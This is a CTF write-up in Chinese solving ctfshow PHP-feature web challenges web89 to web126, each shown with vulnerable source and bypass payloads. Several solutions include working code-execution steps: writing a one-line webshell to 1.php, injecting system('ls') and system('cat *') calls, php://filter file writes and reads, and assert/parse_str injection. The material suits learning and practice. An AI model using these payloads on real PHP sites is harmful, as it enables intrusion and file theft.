ctfshow-web-php特性(web89-web150_plus)

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

绕过preg_match可以使用数组,并且intval特性中,当给intval()函数传入一个非空的数组时,intval()函数将会返回1,因此payload为:

?num[]=1

web90

首先查找php中intval函数特性,发现:

语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:

$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。

再看代码:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

要绕过:

$num==="4476"

并且要使:

intval($num,0)===4476

就可以使用进制转换了,以8进制payload为例:

?num=010574

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true,否则返回false。

/m 多行匹配模式下,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。

但是当不是多行匹配模式的时候,出现换行符 %0a的时,$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以php开头和以php结尾会返回false。
?cmd=1%0aphp

web92

同web90,官方hint为:

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以。

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

十六进制用不了,只能用八进制了,payload同web90。

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0。

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

可以用八进制绕过,但是在前面必须加上“+”或“%2b”。

?num=+010574或?num=%2b010574

web96

在linux下面表示当前目录是 ./ 所以我们的payload:

u=./flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

题目要求post传入参数不同但md5值相同,在 PHP5 和 PHP7 中,当两个 md5 进行比较时,若参数是不同的数组,那么 ===== 比较的结果均为 True,因此payload可以为:

a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

里面的几个知识点:

1、php三元操作符

php三元运算符与if的详解-php教程-PHP中文网

2、php函数的传值与传址(引用)

php函数的传值与传址(引用)详解-php手册-PHP中文网

了解了上面的内容,可以开始分析代码了:

$_GET?$_GET=&$_POST:'flag';
$_GET不为空,则$_GET=&$_POST;否则为'flag'。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
这两行代码没有什么意义,应该是要绕过的。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
$_GET['HTTP_FLAG']=='flag'时,输出$flag。
$_GET不能为空,并且要满足$_GET['HTTP_FLAG']=='flag',因此POST参数需要是:
HTTP_FLAG=flag,GET传入的参数任意。

payload为:

GET   ?123
POST  HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1。

因此思路来了,用POST传一句话木马,然后写到1.php中,最后利用蚁剑连接即可得到flag,payload看下图:

22

蚁剑连接,flag在flag36d.php中。

23

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
运算符优先级:&& > || > = > and > or

is_numeric() 函数用于检测变量是否为数字或数字字符串。

是数字和数字字符串则返回 TRUE,否则返回 FALSE

var_dump()函数可以输出多个值。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
根据优先级,$v0的值只取决于is_numeric($v1)。
$v2应该是输入命令,$v3应该有“;”,可以使$v2=var_dump($ctfshow),输入$ctfshow,$v3=;

payload:

?v1=1&v2=var_dump($ctfshow)&v3=;

或者也可以直接注释掉$v3:

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=var_dump($ctfshow)/*&v3=;
?v1=1&v2=var_dump($ctfshow)//&v3=;
"flag_is_53c8a0eb0x2d90ee0x2d47d10x2d89990x2dde1d55729b61"

0x2d对应的字符为“-”,因此flag应为:

ctfshow{53c8a0eb-90ee-47d1-8999-de1d55729b61}

或者使用反射类:

?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;
或?v1=1&v2=echo new ReflectionClass&v3=;

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

过滤了”_“和”*“等符号,web100中的payload已经不能用了,可以使用反射类:

?v1=1&v2=echo new ReflectionClass&v3=;

得到:

Class [ class ctfshow ] { @@ /var/www/html/ctfshow.php 15-17 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [3] { Property [ public $dalaoA ] Property [ public $dalaoB ] Property [ public $flag_58edb81e0x2d938b0x2d442e0x2d9a550x2df70ef9f894d ] } - Methods [0] { } }

得到:ctfshow{58edb81e-938b-442e-9a55-f70ef9f894d}

查看hint发现flag少了最后一位,我试了试加了个1,很幸运我的最后一位就是1,得到flag:

ctfshow{58edb81e-938b-442e-9a55-f70ef9f894d1}

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
$v4的绕过与前面的题类似,只要$v2为数字就可以进入if语句;
substr函数作用为截断字符串,截取$v2索引为2之后的字符串;
call_user_func函数作用类似于一种特别的调用函数的方法;
file_put_contents($v3,$str)作用是将$str写入$v3中。

看了hint:

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

考察的是hex2bin()

v3=php://filter/write=convert.base64-decode/resource=2.php

用base64解码写入文件,写入内容为$str,而$str是使用$v1函数,参数为$s,假如我们想要将php代码<?php system('cat *');?>写入2.php,可以利用bin2hex函数将代码转换为十六进制:

<?php
$v1="<?php system(cat *');?>";
$v2=bin2hex($v1);
echo $v2;
?>
3c3f7068702073797374656d28636174202a27293b3f3e  

如果GET传参时传入:

v2=0x3c3f7068702073797374656d28636174202a27293b3f3e&v3=php://filter/write=convert.base64-decode/resource=1.php

再POST传参v1=hex2bin,那么相当于将v2的十六进制转换为字符串<?php system('cat *');?>,即$s的值,再将这段php写入1.php,最后访问1.php应该可以拿到flag;但是问题来了,在php5中和php7中对is_numeric()函数的判别是不一样的,在php5中:

<?php
if(is_numeric('0x3c3f7068702073797374656d28636174202a27293b3f3e')){
    echo 'yes';
}
else{
    echo 'no';
}
?>
yes

而在php7中:

<?php
if(is_numeric('0x3c3f7068702073797374656d28636174202a27293b3f3e')){
    echo 'yes';
}
else{
    echo 'no';
}
?>
no

而将上述payload放进去发现报了hacker,因此该题php版本应该为7,那么需要换个姿势:

必须构造一个经过bin2hex()函数转换后只有纯0-9和e的字符串

这里介绍一个神奇的字符串:

5044383959474e6864434171594473

这一个字符串is_numeric函数返回是true,因为只包含e数字,并且该字符串转十六进制结果如下:

PD89YGNhdCAqYDs

base64解码得:

<?=`cat *`;

将payload改成:

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin

访问/1.php得到flag。

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

与web102相同,但是$str不能含有.php,因为为/i,所以大写之类的无法过滤,但是发现web102中payload经过hex2bin函数后不包含.php,因此可以使用,payload同web102:

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin

访问/1.php即可。

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

个人觉得第一个知识点是php的弱类型比较,不懂的可以看看这篇文章:

(94条消息) php 弱类型总结_jinqipiaopiao的博客-CSDN博客_php弱类型总结

需要构造sha1($v1)=sha1($v2),方法很多,可以构造:

GET
v2=1
POST
v1=1

GET
v2[]=1
POST
v1[]=1

GET
v2=aaK1STfY  (sha1($v2)=0e76658526655756207688271159624026011393)
POST
v1=aaO8zKZF  (sha1($v1)=0e89257456677279068558073954252716165668)

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

首先了解一下foreach结构:

foreach(array_expression as $value) statement

foreach(array_expression as $key => $value) statement

结果如下:

        $arr = array(
        "1"
        =>
        "111"
        ,
        "2"
        =>
        "222"
        ,
        "3"
        =>
        "333"
        );
       
 
        foreach($arr as $key=>$value)
        {
        echo $key.
        "=>"
        .$value.
        "\n"
        ;
        }
       
 
        结果如下:
       
 
        1=>111
       
 
        2=>222
       
 
        3=>333

根据题目,是变量覆盖漏洞,根据:

if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

能发现有两种解法,一种是利用$error得到flag,另一种是利用$suces得到flag。

GET
/?2=flag
POST
error=2

在对于GET的循环中,由$$key=$$value;得到$2=$flag;在对于POST的循环中,同样可以得到$error=$2,那么有$error=$flag,从而die($flag);输出flag。

GET
/?suces=flag&flag=

通过die($suces)输出flag,首先我们把flag的值传给suces变量,即$suces=$flag,接着再把$flag给置空,这样的话$_POST['flag']=$flag=空,跳过if语句,往下执行,die($suces)即可把flag输出。

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

本题和web104类似,只不过v1v2不能是相同的了,但是利用数组和以0e开头并且后面字符均为纯数字的哈希值都解析为0这两种方式绕过,payload:

GET
v2[]=1
POST
v1[]=1

GET
v2=aaK1STfY  (sha1($v2)=0e76658526655756207688271159624026011393)
POST
v1=aaO8zKZF  (sha1($v1)=0e89257456677279068558073954252716165668)

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

} 

parse_str($v1,$v2)函数:

v1:必需。规定要解析的字符串。
v2:可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

也就是说将v1的值存入数组,我们再看一组例子:

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>

结果为:

Array ( [name] => Bill [age] => 60 )

因此如果需要满足:

if($v2['flag']==md5($v3))

$v1需要传入flag这个键,flag对应的键值要与md5($v3)相等,这里用到了md5比较:

PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。常见的如下:
在md5加密后以0E开头

QNKCDZO
240610708
s878926199a
s155964671a

因此flag=0即可与$v3赋值为以上的字符串md5加密后的值“==”相等。

payload为:

GET
v3=QNKCDZO
POST
v1=flag=0

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

先看几个知识点:

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。

正则表达式中^是开始位置,$是结束位置,+表示匹配前面的子表达式一次或多次。

根据代码可以判断GET传参c中只能存在字母,0x36d的十进制是877,翻转为778,结合第一个函数只能传字母,但有%00截断漏洞,intval()函数只取整数值进行转换,就用字母+%00+数字,payload:

?c=a%00778

web108

与web107一模一样。

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

} 

初始化一个$v1类,$v2()是传入这个类的参数,那么$v1是一个内置类。payload可以为:

v1=mysqli&v2=system('ls')
v1=mysqli&v2=system('tac fl36dg.txt')

也就是初始化一个mysqli类,但是实际上这个类的初始化时候传参不止这一个,所以是初始化失败的,但是由于其内部有魔术方法__toString

如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。这时候就可以echo出来了。

同样内部类Exception也是可以的,这个类会把传入的参数输出出来,也是由__toString方法的,所以payload如下:

v1=exception&v2=system('ls')
v1=exception&v2=system('tac fl36dg.txt')

或者是使用反射类:

v1=Reflectionclass&v2=system('cat fl36dg.txt')

web110

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

用上一道题的payload已经不行了,这里引入另一个内置类FilesystemIterator ,获取指定目录下的所有文件,getcwd()函数,是获取当前工作目录,返回当前工作目录,可以看下面的例子:

<?php
	error_reporting(0);
	echo getcwd().PHP_EOL;
	echo new FilesystemIterator('./').PHP_EOL;
	echo new FilesystemIterator(getcwd());
?>

>>D:\PHP
  index.php
  index.php

payload:

?v1=FilesystemIterator&v2=getcwd

web111

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

}

考察的是:php超全局变量$GLOBALS的使用。

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

举个例子:

$a=123;
$b=456;
var_dump($GLOBALS);

返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。

  ["a"]=>
  int(123)
  ["b"]=>
  int(456)

所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出,因此payload为:

payload: ?v1=ctfshow&v2=GLOBALS

web112

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

文件包含读取flag,比较常用的是:

file=php://filter/read=convert.base64-encode/resource=flag.php

但是发现base64被过滤了,可以直接这样:

file=php://filter/resource=flag.php

看官方hint还给出了如下payload:

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

过滤掉filter,使用如下payload:

compress.zlib://flag.php

官方hint:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
/proc目录
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容。多次重复后绕过is_file。

这个也叫做软链接绕过is_file(),当软链接多到一定程度后,可以绕过该函数。(大佬的解释是:超过20次软连接后就可以绕过is_file)

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

没有过滤phpfilter,可以使用payload:

?file=php://filter/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

先介绍一下题目中存在的函数:

str_replace(find,replace,string,count)以其他字符替换字符串中的一些字符(区分大小写)。
find	必需。规定要查找的值。
replace	必需。规定替换 find 中的值的值。
string	必需。规定被搜索的字符串。
count	可选。对替换数进行计数的变量。

is_numeric用于检测变量是否为数字或数字字符串。

trim(string,charlist)移除字符串两侧的空白字符或其他预定义字符。
string	必需。规定要检查的字符串。
charlist	
可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

如何绕过is_numeric()trim()filter(),我们进行Fuzz测试:

<?php
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
for($i=0;$i<=128;$i++){
    $x=chr($i).'36';
    if(trim($x)!=='36'&&is_numeric($x)&&filter($x)=='36'){
        echo urlencode(chr($i))."\n";
    }
}
?>
输出:%0C

payload:

?num=%0c36(%0c==\f,也就是换页符)

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

存在CTF_SHOW存在CTF_SHOW.COM不能存在fl0g,下面的if($fl0g==="flag_give_me")执行不了,因此只能执行$c,因此POST参数试一试:

CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag

发现一直无法得到flag,仔细看了一下好像是因为传入的CTF_SHOW.COM中的点会被替换,上网查了如何绕过,,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为:

“_”

所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,因此payload可以为:

POST
CTF_SHOW=a&CTF[SHOW.COM=a&fun=echo $flag
或
fun=echo $flag&CTF_SHOW=a&CTF[SHOW.COM=a
或
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
或
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode($GLOBALS)

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

前几题的方法被过滤了,但是var_export()没有被过滤,利用无参数命令执行查看当前目录:

CTF_SHOW=a&CTF[SHOW.COM=a&fun=var_export(scandir(current(localeconv())))

结果为:

array ( 0 => '.', 1 => '..', 2 => 'flag.php', 3 => 'index.php', ) 

数组倒是第二个元素为flag.php,继续利用无参数命令执行:

CTF_SHOW=a&CTF[SHOW.COM=a&fun=highlight_file(next(array_reverse(scandir(current(localeconv())))))

得到flag

ctfshow{1480eca4-c0f9-4f8b-9ebf-1783a3fc0feb}

官方hint:

GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

其他payload:

先介绍一个函数get_defined_vars()返回由所有已定义变量所组成的数组,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。因此可以利用:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=var_export(get_defined_vars())

得到flag。

extract() 函数从数组中将变量导入到当前的符号表。举个例子:

//将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

运行结果为:

$a = Cat; $b = Dog; $c = Horse

因此可以构造:

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

flag_give_me利用POST传给fl0g,从而获取flag。

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

看了官方hint和网上的解答才明白,先放上payload:

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
或
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

利用$_SERVER['argv'],在大佬那看了这一函数的讲解。

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

argv是传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

意思就是通过

$_SERVER['argv']

a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET['fl0g'])),用+来进行分隔,使得数组中有多个数值。

执行eval函数也就是执行c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。

parse_str() 函数把查询字符串解析到变量中。

举个例子:

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>

结果:

Array ( [name] => Bill [age] => 60 )

因此第一个payload如上所述。

第二种payload要介绍另一个函数:

assert 判断一个表达式是否成立。返回true or false;
assert — 检查一个断言是否为 FALSE

PHP 5

bool assert ( mixed $assertion [, string $description ] )

PHP 7

bool assert ( mixed $assertion [, Throwable $exception ] )

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

借用大佬的博客内容:

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

可以在本地开启register_argc_argv后测试一下:

<?php
var_dump($_SERVER['argv']);

在这里插入图片描述

